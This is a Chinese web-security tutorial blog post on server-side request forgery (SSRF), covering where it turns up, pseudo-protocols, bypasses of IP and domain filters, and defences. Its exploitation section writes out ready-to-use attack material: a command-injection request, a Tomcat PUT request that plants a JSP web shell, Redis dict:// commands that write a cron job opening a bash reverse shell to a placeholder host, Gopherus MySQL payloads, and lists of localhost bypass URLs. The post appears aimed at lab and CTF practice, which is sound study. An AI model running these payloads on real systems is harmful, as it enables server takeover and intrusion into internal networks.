SSRF服务端伪造&伪协议利玩法&域名及IP绕过&无回显利用&挖掘点&SRC复盘

Ethan医生3周前WEB安全29

image.jpg




1.jpg


#SSRF漏洞原理

服务器端请求伪造,也称为SSRFServer-Side Request Forgery),是因为前端用户可以输入任意URL到后端服务器,而且服务器也没有对其URL进行严格的过滤和校验,导致攻击者可以构造一些恶意的URL让服务器去访问执行。

*主要安全影响:

-读取服务器本地文件

-探测内网存活主机和开放端口

-攻击其他内网服务器及服务

 

#SSRF漏洞挖掘

黑盒探针:

-业务功能点

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodbcopyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmgImageMagickdocxpdfxml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

 

-URL关键参数

share

wap

url

link

src

source

target

u

display

sourceURl

imageURL

domain

 

白盒分析:见代码审计(文件读取,加载,数据操作类的函数)

 

#SSRF伪协议利用

http:// Web常见访问,如http://127.0.0.1

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd

dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

 

gopher:// 分布式文档传递服务,可使用gopherus生成payload

由于有部分协议http这类不支持,可以gopher来进行通讯(mysqlredis等)

应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus

 

#SSRF绕过方式

-限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过,即@

http://www.xxx.com@www.xxyy.com

 

-限制请求IP不为内网地址

当不允许ip为内网地址时:

1)采取短网址绕过

2)采取域名解析

3)采取进制转换

4)采取3XX重定向

 

#SSRF漏洞防御

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。

2,统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许httphttps请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

 

#SSRF核心利用-伪协议

https://github.com/sqlsec/ssrf-vuls

-命令执行

POST / HTTP/1.1

Host: 172.150.23.24

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-Type: application/x-www-form-urlencoded

Content-Length: 26

Origin: http://172.150.23.24

Connection: close

Referer: http://172.150.23.24/

Cookie: timezone=8

Upgrade-Insecure-Requests: 1

 

ip=127.0.0.1%3Bcat+%2Fflag

 

 

-Tomcat漏洞

PUT /1.jsp/ HTTP/1.1

Host: 172.150.23.26:8080

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 460

 

<%

String command = request.getParameter("cmd");

if(command != null)

{

java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("<pre>");

while((a=in.read(b))!=-1)

{

out.println(new String(b));

}

out.print("</pre>");

} else {

out.print("format: xxx.jsp?cmd=Command");

}

%>

 

 

-Redis

# 清空 key

dict://172.150.23.27:6379/flushall

 

# 设置要操作的路径为定时任务目录

dict://172.150.23.27:6379/config set dir /var/spool/cron/

 

# 在定时任务目录下创建 root 的定时任务文件

dict://172.150.23.27:6379/config set dbfilename root

 

# 写入 Bash 反弹 shellpayload

dict://172.150.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"

 

# 保存上述操作

dict://172.150.23.27:6379/save

 

-MYSQL:

https://github.com/tarunkant/Gopherus

python2 gopherus.py --exploit mysql

root

show variables like '%plugin%'

后续编码一次

 

#SSRF过滤绕过

CTFSHOW 白盒

1、无过滤直接获取

url=http://127.0.0.1/flag.php

 

2-3IP地址进制绕过

十六进制

url=http://0x7F.0.0.1/flag.php

 

八进制

url=http://0177.0.0.1/flag.php

 

10 进制整数格式

url=http://2130706433/flag.php

 

16 进制整数格式,还是上面那个网站转换记得前缀0x

url=http://0x7F000001/flag.php

 

还有一种特殊的省略模式

127.0.0.1写成127.1

 

CIDR绕过localhost

url=http://127.127.127.127/flag.php

 

还有很多方式

url=http://0/flag.php

url=http://0.0.0.0/flag.php

 

4、域名解析IP绕过

test.xiaodi8.com -> 127.0.0.1

url=http://test.xiaodi8.com/flag.php

 

5、长度限制IP绕过

url=http://127.1/flag.php

 

6、长度限制IP绕过

url=http://0/flag.php

 

7、利用重定向解析绕过

<?php

header("Location:http://127.0.0.1/flag.php");

url=http://47.94.236.117/xx.php

 

8、匹配且不影响写法解析

url=http://ctf.@127.0.0.1/flag.php?show

 

9-10、利用gopher协议打服务

参考上述工具项目










标签: SSRF

相关文章

CSRF跨站请求伪造&Referer同源&Token校验&复用删除置空&联动上传或XSS

CSRF跨站请求伪造&Referer同源&Token校验&复用删除置空&联动上传或XSS

补充:XSS漏洞与CSRF区分主要区别目标:XSS攻击用户,CSRF攻击应用。执行位置:XSS在用户浏览器执行,CSRF在用户不知情时执行请求。防御措施:XSS防御侧重于输入过滤和输出编码,CSRF防...

SSTI服务端&模版注入&利用分类&语言引擎&数据渲染&项目工具&挖掘思路

SSTI(Server-Side Template Injection,服务器端模板注入)是一种安全漏洞,攻击者通过向模板引擎注入恶意代码,在服务器端执行任意指令。以下是 SSTI 的主要使用场景和常...

XML&XXE&无回显带外&SSRF元数据&DTD实体&OOB盲注&文件拓展&复盘

XML&XXE&无回显带外&SSRF元数据&DTD实体&OOB盲注&文件拓展&复盘

#详细点:XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON...

XSS跨站&Cookie盗取&数据包提交&网络钓鱼&BEEF项目&XSS平台&危害利用

#XSS跨站-输入输出-原理&分类&利用点漏洞原理:接受输入数据,输出显示数据后解析执行基础类型:反射(非持续),存储(持续),DOM-BASE拓展类型:jquery,mxss,uxs...

XML&XXE&上传解析&文件预览&接口服务&白盒审计&应用功能&SRC复盘

#黑盒功能点案例1、不安全的图像读取-SVG2、不安全的文档转换-DOCX3、不安全的传递服务-SOAPSOAP 的典型使用场景✅ 适合 SOAP 的情况:需要严格的数据契约(如金融交易、医...

接口安全&SOAP&OpenAPI&RESTful&分类特征导入&项目联动检测

1、API分类特征SOAP - WSDL ---XML以下是 SOAP 使用的一些標準:Web Services Security (WS-Security) 指定安全措施,例如使用稱為 t...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。